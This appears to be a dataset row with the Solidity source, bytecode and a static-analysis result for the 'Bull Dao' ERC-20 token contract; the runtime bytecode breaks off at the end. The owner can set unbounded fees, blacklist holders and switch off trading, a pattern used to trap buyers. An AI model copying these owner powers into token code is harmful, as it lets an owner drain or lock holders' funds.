16825260208083019390935260409182016000908120918716815292529020548211156107c05760405162461bcd60e51b8152600401610341906119d1565b6104666107cb610c9d565b8484600360006107d9610c9d565b6001600160a01b03908116825260208083019390935260409182016000908120918b168152925290205461054c9190611a84565b600061046661081a610c9d565b8484610da1565b6001600160a01b031660009081526004602052604090205460ff1690565b610847610c9d565b6001600160a01b031661085861074b565b6001600160a01b03161461087e5760405162461bcd60e51b81526004016103419061187e565b6064610895826a52b7d2dcc80cd2e4000000611a65565b61089f9190611a45565b600b5550565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b6108d8610c9d565b6001600160a01b03166108e961074b565b6001600160a01b03161461090f5760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16156109485760405162461bcd60e51b815260040161034190611780565b6001600160a01b038116600090815260016020526040902054156109a2576001600160a01b0381166000908152600160205260409020546109889061055b565b6001600160a01b0382166000908152600260205260409020555b6001600160a01b03166000818152600460205260408120805460ff191660019081179091556005805491820181559091527f036b6384b5eca791c62761152d0c79bb0604c104a5fb6f4eb0703f3154bb3db00180546001600160a01b0319169091179055565b610a10610c9d565b6001600160a01b0316610a2161074b565b6001600160a01b031614610a475760405162461bcd60e51b81526004016103419061187e565b6001600160a01b038116610a6d5760405162461bcd60e51b8152600401610341906116f8565b600080546040516001600160a01b03808516939216917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e091a3600080546001600160a01b0319166001600160a01b0392909216919091179055565b610ad0610c9d565b6001600160a01b0316610ae161074b565b6001600160a01b031614610b075760405162461bcd60e51b81526004016103419061187e565b6001600160a01b03811660009081526004602052604090205460ff16610b3f5760405162461bcd60e51b815260040161034190611780565b60005b600554811015610c9957816001600160a01b031660058281548110610b7757634e487b7160e01b600052603260045260246000fd5b6000918252602090912001546001600160a01b03161415610c875760058054610ba290600190611a84565b81548110610bc057634e487b7160e01b600052603260045260246000fd5b600091825260209091200154600580546001600160a01b039092169183908110610bfa57634e487b7160e01b600052603260045260246000fd5b600091825260208083209190910180546001600160a01b0319166001600160a01b039485161790559184168152600282526040808220829055600490925220805460ff191690556005805480610c6057634e487b7160e01b600052603160045260246000fd5b600082815260209020810160001990810180546001600160a01b0319169055019055610c99565b80610c9181611ad6565b915050610b42565b5050565b3390565b6000806000806000806000610cb588610ff2565b915091506000610cc3610fcf565b90506000806000610cd58c8686611025565b919e909d50909b509599509397509395505050505050565b6001600160a01b038316610d135760405162461bcd60e51b815260040161034190611941565b6001600160a01b038216610d395760405162461bcd60e51b81526004016103419061173e565b6001600160a01b0380841660008181526003602090815260408083209487168084529490915290819020849055517f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92590610d94908590611a16565b60405180910390a3505050565b6001600160a01b038316610dc75760405162461bcd60e51b8152600401610341906118fc565b6001600160a01b038216610ded5760405162461bcd60e51b81526004016103419061166b565b60008111610e0d5760405162461bcd60e51b8152600401610341906118b3565b610e1561074b565b6001600160a01b0316836001600160a01b031614158015610e4f5750610e3961074b565b6001600160a01b0316826001600160a01b031614155b15610e7657600b54811115610e765760405162461bcd60e51b8152600401610341906117ee565b6001600160a01b03831660009081526004602052604090205460ff168015610eb757506001600160a01b03821660009081526004602052604090205460ff16155b15610ecc57610ec7838383611061565b610fca565b6001600160a01b03831660009081526004602052604090205460ff16158015610f0d57506001600160a01b03821660009081526004602052604090205460ff165b15610f1d57610ec783838361117b565b6001600160a01b03831660009081526004602052604090205460ff16158015610f5f57506001600160a01b03821660009081526004602052604090205460ff16155b15610f6f57610ec7838383611224565b6001600160a01b03831660009081526004602052604090205460ff168015610faf57506001600160a01b03821660009081526004602052604090205460ff165b15610fbf57610ec7838383611266565b610fca838383611224565b505050565b6000806000610fdc6112d8565b9092509050610feb8183611a45565b9250505090565b60008080611001606485611a45565b61100c906002611a65565b9050600061101a8286611a84565b935090915050915091565b60008080806110348588611a65565b905060006110428688611a65565b905060006110508284611a84565b929992985090965090945050505050565b600080600080600061107286610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506110a3908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546110d3908690611a84565b6001600160a01b03808a166000908152600160205260408082209390935590891681522054611103908590611a2d565b6001600160a01b03881660009081526001602052604090205561112683826114ba565b866001600160a01b0316886001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040516111699190611a16565b60405180910390a35050505050505050565b600080600080600061118c86610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506111bd908690611a84565b6001600160a01b03808a16600090815260016020908152604080832094909455918a168152600290915220546111f4908390611a2d565b6001600160a01b038816600090815260026020908152604080832093909355600190522054611103908590611a2d565b600080600080600061123586610ca1565b6001600160a01b038d16600090815260016020526040902054949950929750909550935091506110d3908690611a84565b600080600080600061127786610ca1565b6001600160a01b038d16600090815260026020526040902054949950929750909550935091506112a8908790611a84565b6001600160a01b0389166000908152600260209081526040808320939093556001905220546111bd908690611a84565b60065460009081906a52b7d2dcc80cd2e4000000825b6005548110156114755782600160006005848154811061131e57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020541180611397575081600260006005848154811061137057634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b03168352820192909252604001902054115b156113b7576006546a52b7d2dcc80cd2e4000000945094505050506114b6565b60016000600583815481106113dc57634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b0316835282019290925260400190205461140b9084611a84565b9250600260006005838154811061143257634e487b7160e01b600052603260045260246000fd5b60009182526020808320909101546001600160a01b031683528201929092526040019020546114619083611a84565b91508061146d81611ad6565b9150506112ee565b506a52b7d2dcc80cd2e400000060065461148f9190611a45565b8210156114b0576006546a52b7d2dcc80cd2e40000009350935050506114b6565b90925090505b9091565b816006546114c89190611a84565b6006556007546114d9908290611a2d565b6007555050565b80356001600160a01b038116811461059957600080fd5b600060208284031215611508578081fd5b611511826114e0565b9392505050565b6000806040838503121561152a578081fd5b611533836114e0565b9150611541602084016114e0565b90509250929050565b60008060006060848603121561155e578081fd5b611567846114e0565b9250611575602085016114e0565b9150604084013590509250925092565b60008060408385031215611597578182fd5b6115a0836114e0565b946020939093013593505050565b6000602082840312156115bf578081fd5b5035919050565b600080604083850312156115d8578182fd5b82359150602083013580151581146115ee578182fd5b809150509250929050565b6001600160a01b0391909116815260200190565b901515815260200190565b6000602080835283518082850152825b8181101561164457858101830151858201604001528201611628565b818111156116555783604083870101525b50601f01601f1916929092016040019392505050565b60208082526023908201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260408201526265737360e81b606082015260800190565b6020808252602a908201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260408201526965666c656374696f6e7360b01b606082015260800190565b60208082526026908201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160408201526564647265737360d01b606082015260800190565b60208082526022908201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604082015261737360f01b606082015260800190565b6020808252601b908201527f4163636f756e7420697320616c7265616479206578636c756465640000000000604082015260600190565b6020808252601f908201527f416d6f756e74206d757374206265206c657373207468616e20737570706c7900604082015260600190565b60208082526028908201527f5472616e7366657220616d6f756e74206578636565647320746865206d6178546040820152673c20b6b7bab73a1760c11b606082015260800190565b60208082526028908201527f45524332303a207472616e7366657220616d6f756e74206578636565647320616040820152676c6c6f77616e636560c01b606082015260800190565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b60208082526029908201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206040820152687468616e207a65726f60b81b606082015260800190565b60208082526025908201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604082015264647265737360d81b606082015260800190565b60208082526024908201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646040820152637265737360e01b606082015260800190565b6020808252602c908201527f4578636c75646564206164647265737365732063616e6e6f742063616c6c207460408201526b3434b990333ab731ba34b7b760a11b606082015260800190565b60208082526025908201527f45524332303a2064656372656173656420616c6c6f77616e63652062656c6f77604082015264207a65726f60d81b606082015260800190565b90815260200190565b60ff91909116815260200190565b60008219821115611a4057611a40611af1565b500190565b600082611a6057634e487b7160e01b81526012600452602481fd5b500490565b6000816000190483118215151615611a7f57611a7f611af1565b500290565b600082821015611a9657611a96611af1565b500390565b600281046001821680611aaf57607f821691505b60208210811415611ad057634e487b7160e01b600052602260045260246000fd5b50919050565b6000600019821415611aea57611aea611af1565b5060010190565b634e487b7160e01b600052601160045260246000fdfea26469706673582212201986f7e39d0f2bce59bcc4acce47d5ac55e1c0fce5bc5c217853c8c6e9fbb61764736f6c63430008000033 | {"success": true, "error": null, "results": {"detectors": [{"check": "divide-before-multiply", "impact": "Medium", "confidence": "Medium"}]}} | 1,493 |
0x7cddeed8a28bb1ad8375ed20a25b1228c5c4ad3f | /**
*Submitted for verification at Etherscan.io on 2022-03-13
*/
/**
BULLDAO BULLISH
Our goal is to build a policy-controlled currency system, in which the behavior of the BULLDAO token is controlled at a high level by the DAO. In the long term, we believe this system can be used to optimize for stability and consistency so that BULLDAO can function as a global unit-of-account and medium-of-exchange currency. In the short term, we intend to optimize the system for growth and wealth creation.
*/
// SPDX-License-Identifier: Unlicensed
pragma solidity ^0.8.4;
abstract contract Context {
function _msgSender() internal view virtual returns (address) {
return msg.sender;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(
address sender,
address recipient,
uint256 amount
) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
abstract contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor() {
_transferOwnership(_msgSender());
}
function owner() public view virtual returns (address) {
return _owner;
}
modifier onlyOwner() {
require(owner() == _msgSender(), "Ownable: caller is not the owner");
_;
}
function renounceOwnership() public virtual onlyOwner {
_transferOwnership(address(0));
}
function transferOwnership(address newOwner) public virtual onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_transferOwnership(newOwner);
}
function _transferOwnership(address newOwner) internal virtual {
address oldOwner = _owner;
_owner = newOwner;
emit OwnershipTransferred(oldOwner, newOwner);
}
}
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(
uint256 a,
uint256 b,
string memory errorMessage
) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
}
interface IUniswapV2Factory {
function createPair(address tokenA, address tokenB)
external
returns (address pair);
}
interface IUniswapV2Router02 {
function swapExactTokensForETHSupportingFeeOnTransferTokens(
uint256 amountIn,
uint256 amountOutMin,
address[] calldata path,
address to,
uint256 deadline
) external;
function factory() external pure returns (address);
function WETH() external pure returns (address);
function addLiquidityETH(
address token,
uint256 amountTokenDesired,
uint256 amountTokenMin,
uint256 amountETHMin,
address to,
uint256 deadline
)
external
payable
returns (
uint256 amountToken,
uint256 amountETH,
uint256 liquidity
);
}
contract BullDao is Context, IERC20, Ownable {
using SafeMath for uint256;
string private constant _name = "Bull Dao";
string private constant _symbol = "BULLDAO";
uint8 private constant _decimals = 9;
mapping (address => uint256) _balances;
mapping(address => uint256) _lastTX;
mapping(address => mapping(address => uint256)) private _allowances;
mapping(address => bool) private _isExcludedFromFee;
uint256 _totalSupply = 1000000000 * 10**9;
//Buy Fee
uint256 private _taxFeeOnBuy = 10;
//Sell Fee
uint256 private _taxFeeOnSell = 12;
//Original Fee
uint256 private _taxFee = _taxFeeOnSell;
uint256 private _previoustaxFee = _taxFee;
mapping(address => bool) public bots;
address payable private _marketingAddress = payable(0xca124D79958959fae70eDBB31137F66e0de1FF3C);
IUniswapV2Router02 public uniswapV2Router;
address public uniswapV2Pair;
bool private tradingOpen = false;
bool private inSwap = false;
bool private swapEnabled = true;
bool private transferDelay = true;
uint256 public _maxTxAmount = 10000000 * 10**9;
uint256 public _maxWalletSize = 40000000 * 10**9;
uint256 public _swapTokensAtAmount = 10000000 * 10**9;
event MaxTxAmountUpdated(uint256 _maxTxAmount);
modifier lockTheSwap {
inSwap = true;
_;
inSwap = false;
}
constructor() {
_balances[_msgSender()] = _totalSupply;
IUniswapV2Router02 _uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
uniswapV2Router = _uniswapV2Router;
uniswapV2Pair = IUniswapV2Factory(_uniswapV2Router.factory())
.createPair(address(this), _uniswapV2Router.WETH());
_isExcludedFromFee[owner()] = true;
_isExcludedFromFee[address(this)] = true;
_isExcludedFromFee[_marketingAddress] = true;
_isExcludedFromFee[_marketingAddress] = true; //multisig
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public pure returns (string memory) {
return _name;
}
function symbol() public pure returns (string memory) {
return _symbol;
}
function decimals() public pure returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount)
public
override
returns (bool)
{
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender)
public
view
override
returns (uint256)
{
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount)
public
override
returns (bool)
{
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(
address sender,
address recipient,
uint256 amount
) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(
sender,
_msgSender(),
_allowances[sender][_msgSender()].sub(
amount,
"ERC20: transfer amount exceeds allowance"
)
);
return true;
}
function _approve(
address owner,
address spender,
uint256 amount
) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(
address from,
address to,
uint256 amount
) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
if (!_isExcludedFromFee[to] && !_isExcludedFromFee[from]) {
require(tradingOpen, "TOKEN: Trading not yet started");
require(amount <= _maxTxAmount, "TOKEN: Max Transaction Limit");
require(!bots[from] && !bots[to], "TOKEN: Your account is blacklisted!");
if(to != uniswapV2Pair) {
if(from == uniswapV2Pair && transferDelay){
require(_lastTX[tx.origin] + 3 minutes < block.timestamp && _lastTX[to] + 3 minutes < block.timestamp, "TOKEN: 3 minutes cooldown between buys");
}
require(balanceOf(to) + amount < _maxWalletSize, "TOKEN: Balance exceeds wallet size!");
}
uint256 contractTokenBalance = balanceOf(address(this));
bool canSwap = contractTokenBalance >= _swapTokensAtAmount;
if(contractTokenBalance >= _swapTokensAtAmount)
{
contractTokenBalance = _swapTokensAtAmount;
}
if (canSwap && !inSwap && from != uniswapV2Pair && swapEnabled) {
swapTokensForEth(contractTokenBalance); // Reserve of 15% of tokens for liquidity
uint256 contractETHBalance = address(this).balance;
if (contractETHBalance > 0 ether) {
sendETHToFee(address(this).balance);
}
}
}
bool takeFee = true;
//Transfer Tokens
if ((_isExcludedFromFee[from] || _isExcludedFromFee[to]) || (from != uniswapV2Pair && to != uniswapV2Pair)) {
takeFee = false;
} else {
//Set Fee for Buys
if(from == uniswapV2Pair && to != address(uniswapV2Router)) {
_taxFee = _taxFeeOnBuy;
}
//Set Fee for Sells
if (to == uniswapV2Pair && from != address(uniswapV2Router)) {
_taxFee = _taxFeeOnSell;
}
}
_lastTX[tx.origin] = block.timestamp;
_lastTX[to] = block.timestamp;
_tokenTransfer(from, to, amount, takeFee);
}
function swapTokensForEth(uint256 tokenAmount) private lockTheSwap {
uint256 ethAmt = tokenAmount.mul(85).div(100);
uint256 liqAmt = tokenAmount - ethAmt;
uint256 balanceBefore = address(this).balance;
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = uniswapV2Router.WETH();
_approve(address(this), address(uniswapV2Router), tokenAmount);
uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
ethAmt,
0,
path,
address(this),
block.timestamp
);
uint256 amountETH = address(this).balance.sub(balanceBefore);
addLiquidity(liqAmt, amountETH.mul(15).div(100));
}
function sendETHToFee(uint256 amount) private {
_marketingAddress.transfer(amount);
}
function addLiquidity(uint256 tokenAmount, uint256 ethAmount) private {
// approve token transfer to cover all possible scenarios
_approve(address(this), address(uniswapV2Router), tokenAmount);
// add the liquidity
uniswapV2Router.addLiquidityETH{value: ethAmount}(
address(this),
tokenAmount,
0, // slippage is unavoidable
0, // slippage is unavoidable
address(0),
block.timestamp
);
}
function EnbleTrading(bool _tradingOpen) public onlyOwner {
tradingOpen = _tradingOpen;
}
function manualswap() external onlyOwner {
uint256 contractBalance = balanceOf(address(this));
swapTokensForEth(contractBalance);
}
function blockBots(address[] memory bots_) public onlyOwner {
for (uint256 i = 0; i < bots_.length; i++) {
bots[bots_[i]] = true;
}
}
function unblockBot(address notbot) public onlyOwner {
bots[notbot] = false;
}
function _tokenTransfer(
address sender,
address recipient,
uint256 amount,
bool takeFee
) private {
if (!takeFee) {_transferNoTax(sender,recipient, amount);}
else {_transferStandard(sender, recipient, amount);}
}
function airdrop(address[] calldata recipients, uint256[] calldata amount) public onlyOwner{
for (uint256 i = 0; i < recipients.length; i++) {
_transferNoTax(msg.sender,recipients[i], amount[i]);
}
}
function _transferStandard(
address sender,
address recipient,
uint256 amount
) private {
uint256 amountReceived = takeFees(sender, amount);
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amountReceived);
emit Transfer(sender, recipient, amountReceived);
}
function _transferNoTax(address sender, address recipient, uint256 amount) internal returns (bool) {
_balances[sender] = _balances[sender].sub(amount, "Insufficient Balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
return true;
}
function takeFees(address sender,uint256 amount) internal returns (uint256) {
uint256 feeAmount = amount.mul(_taxFee).div(100);
_balances[address(this)] = _balances[address(this)].add(feeAmount);
emit Transfer(sender, address(this), feeAmount);
return amount.sub(feeAmount);
}
receive() external payable {}
function transferOwnership(address newOwner) public override onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
_isExcludedFromFee[owner()] = false;
_transferOwnership(newOwner);
_isExcludedFromFee[owner()] = true;
}
function setFees(uint256 taxFeeOnBuy, uint256 taxFeeOnSell) public onlyOwner {
_taxFeeOnBuy = taxFeeOnBuy;
_taxFeeOnSell = taxFeeOnSell;
}
function setMinSwapTokensThreshold(uint256 swapTokensAtAmount) public onlyOwner {
_swapTokensAtAmount = swapTokensAtAmount;
}
function toggleSwap(bool _swapEnabled) public onlyOwner {
swapEnabled = _swapEnabled;
}
function setMaxTxnAmount(uint256 maxTxAmount) public onlyOwner {
_maxTxAmount = maxTxAmount;
}
function setMaxWalletSize(uint256 maxWalletSize) public onlyOwner {
_maxWalletSize = maxWalletSize;
}
function setIsFeeExempt(address holder, bool exempt) public onlyOwner {
_isExcludedFromFee[holder] = exempt;
}
function toggleTransferDelay() public onlyOwner {
transferDelay = !transferDelay;
}
} | 0x6080604052600436106101d05760003560e01c806370a08231116100f757806395d89b4111610095578063c3c8cd8011610064578063c3c8cd801461065a578063dd62ed3e14610671578063ea1644d5146106ae578063f2fde38b146106d7576101d7565b806395d89b411461058c57806398a5c315146105b7578063a9059cbb146105e0578063bfd792841461061d576101d7565b80637d1db4a5116100d15780637d1db4a5146104f45780638da5cb5b1461051f5780638eb59a5f1461054a5780638f9a55c014610561576101d7565b806370a0823114610477578063715018a6146104b457806374010ece146104cb576101d7565b806323b872dd1161016f578063658d4b7f1161013e578063658d4b7f146103d357806367243482146103fc5780636b999053146104255780636d8aa8f81461044e576101d7565b806323b872dd146103155780632fd689e314610352578063313ce5671461037d57806349bd5a5e146103a8576101d7565b80630b78f9c0116101ab5780630b78f9c01461026d5780630e66e7f1146102965780631694505e146102bf57806318160ddd146102ea576101d7565b8062b8cf2a146101dc57806306fdde0314610205578063095ea7b314610230576101d7565b366101d757005b600080fd5b3480156101e857600080fd5b5061020360048036038101906101fe919061301c565b610700565b005b34801561021157600080fd5b5061021a610811565b6040516102279190613506565b60405180910390f35b34801561023c57600080fd5b5061025760048036038101906102529190612f5b565b61084e565b60405161026491906134d0565b60405180910390f35b34801561027957600080fd5b50610294600480360381019061028f91906130bf565b61086c565b005b3480156102a257600080fd5b506102bd60048036038101906102b89190613065565b6108fa565b005b3480156102cb57600080fd5b506102d4610993565b6040516102e191906134eb565b60405180910390f35b3480156102f657600080fd5b506102ff6109b9565b60405161030c91906136e8565b60405180910390f35b34801561032157600080fd5b5061033c60048036038101906103379190612ec8565b6109c3565b60405161034991906134d0565b60405180910390f35b34801561035e57600080fd5b50610367610a9c565b60405161037491906136e8565b60405180910390f35b34801561038957600080fd5b50610392610aa2565b60405161039f919061375d565b60405180910390f35b3480156103b457600080fd5b506103bd610aab565b6040516103ca9190613454565b60405180910390f35b3480156103df57600080fd5b506103fa60048036038101906103f59190612f1b565b610ad1565b005b34801561040857600080fd5b50610423600480360381019061041e9190612f9b565b610ba8565b005b34801561043157600080fd5b5061044c60048036038101906104479190612e2e565b610c98565b005b34801561045a57600080fd5b5061047560048036038101906104709190613065565b610d6f565b005b34801561048357600080fd5b5061049e60048036038101906104999190612e2e565b610e08565b6040516104ab91906136e8565b60405180910390f35b3480156104c057600080fd5b506104c9610e51565b005b3480156104d757600080fd5b506104f260048036038101906104ed9190613092565b610ed9565b005b34801561050057600080fd5b50610509610f5f565b60405161051691906136e8565b60405180910390f35b34801561052b57600080fd5b50610534610f65565b6040516105419190613454565b60405180910390f35b34801561055657600080fd5b5061055f610f8e565b005b34801561056d57600080fd5b50610576611036565b60405161058391906136e8565b60405180910390f35b34801561059857600080fd5b506105a161103c565b6040516105ae9190613506565b60405180910390f35b3480156105c357600080fd5b506105de60048036038101906105d99190613092565b611079565b005b3480156105ec57600080fd5b5061060760048036038101906106029190612f5b565b6110ff565b60405161061491906134d0565b60405180910390f35b34801561062957600080fd5b50610644600480360381019061063f9190612e2e565b61111d565b60405161065191906134d0565b60405180910390f35b34801561066657600080fd5b5061066f61113d565b005b34801561067d57600080fd5b5061069860048036038101906106939190612e88565b6111d2565b6040516106a591906136e8565b60405180910390f35b3480156106ba57600080fd5b506106d560048036038101906106d09190613092565b611259565b005b3480156106e357600080fd5b506106fe60048036038101906106f99190612e2e565b6112df565b005b610708611495565b73ffffffffffffffffffffffffffffffffffffffff16610726610f65565b73ffffffffffffffffffffffffffffffffffffffff161461077c576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161077390613648565b60405180910390fd5b60005b815181101561080d576001600a60008484815181106107a1576107a0613adb565b5b602002602001015173ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff021916908315150217905550808061080590613a34565b91505061077f565b5050565b60606040518060400160405280600881526020017f42756c6c2044616f000000000000000000000000000000000000000000000000815250905090565b600061086261085b611495565b848461149d565b6001905092915050565b610874611495565b73ffffffffffffffffffffffffffffffffffffffff16610892610f65565b73ffffffffffffffffffffffffffffffffffffffff16146108e8576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108df90613648565b60405180910390fd5b81600681905550806007819055505050565b610902611495565b73ffffffffffffffffffffffffffffffffffffffff16610920610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610976576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161096d90613648565b60405180910390fd5b80600d60146101000a81548160ff02191690831515021790555050565b600c60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b6000600554905090565b60006109d0848484611668565b610a91846109dc611495565b610a8c85604051806060016040528060288152602001613f6360289139600360008b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000206000610a42611495565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611ffe9092919063ffffffff16565b61149d565b600190509392505050565b60105481565b60006009905090565b600d60009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b610ad9611495565b73ffffffffffffffffffffffffffffffffffffffff16610af7610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610b4d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b4490613648565b60405180910390fd5b80600460008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff0219169083151502179055505050565b610bb0611495565b73ffffffffffffffffffffffffffffffffffffffff16610bce610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610c24576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610c1b90613648565b60405180910390fd5b60005b84849050811015610c9157610c7d33868684818110610c4957610c48613adb565b5b9050602002016020810190610c5e9190612e2e565b858585818110610c7157610c70613adb565b5b90506020020135612062565b508080610c8990613a34565b915050610c27565b5050505050565b610ca0611495565b73ffffffffffffffffffffffffffffffffffffffff16610cbe610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610d14576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610d0b90613648565b60405180910390fd5b6000600a60008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b610d77611495565b73ffffffffffffffffffffffffffffffffffffffff16610d95610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610deb576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610de290613648565b60405180910390fd5b80600d60166101000a81548160ff02191690831515021790555050565b6000600160008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020549050919050565b610e59611495565b73ffffffffffffffffffffffffffffffffffffffff16610e77610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610ecd576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610ec490613648565b60405180910390fd5b610ed76000612235565b565b610ee1611495565b73ffffffffffffffffffffffffffffffffffffffff16610eff610f65565b73ffffffffffffffffffffffffffffffffffffffff1614610f55576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610f4c90613648565b60405180910390fd5b80600e8190555050565b600e5481565b60008060009054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b610f96611495565b73ffffffffffffffffffffffffffffffffffffffff16610fb4610f65565b73ffffffffffffffffffffffffffffffffffffffff161461100a576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161100190613648565b60405180910390fd5b600d60179054906101000a900460ff1615600d60176101000a81548160ff021916908315150217905550565b600f5481565b60606040518060400160405280600781526020017f42554c4c44414f00000000000000000000000000000000000000000000000000815250905090565b611081611495565b73ffffffffffffffffffffffffffffffffffffffff1661109f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146110f5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016110ec90613648565b60405180910390fd5b8060108190555050565b600061111361110c611495565b8484611668565b6001905092915050565b600a6020528060005260406000206000915054906101000a900460ff1681565b611145611495565b73ffffffffffffffffffffffffffffffffffffffff16611163610f65565b73ffffffffffffffffffffffffffffffffffffffff16146111b9576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b090613648565b60405180910390fd5b60006111c430610e08565b90506111cf816122f9565b50565b6000600360008473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060008373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054905092915050565b611261611495565b73ffffffffffffffffffffffffffffffffffffffff1661127f610f65565b73ffffffffffffffffffffffffffffffffffffffff16146112d5576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016112cc90613648565b60405180910390fd5b80600f8190555050565b6112e7611495565b73ffffffffffffffffffffffffffffffffffffffff16611305610f65565b73ffffffffffffffffffffffffffffffffffffffff161461135b576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161135290613648565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff1614156113cb576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113c290613568565b60405180910390fd5b6000600460006113d9610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555061143381612235565b600160046000611441610f65565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002060006101000a81548160ff02191690831515021790555050565b600033905090565b600073ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16141561150d576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401611504906136c8565b60405180910390fd5b600073ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16141561157d576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161157490613588565b60405180910390fd5b80600360008573ffffffffff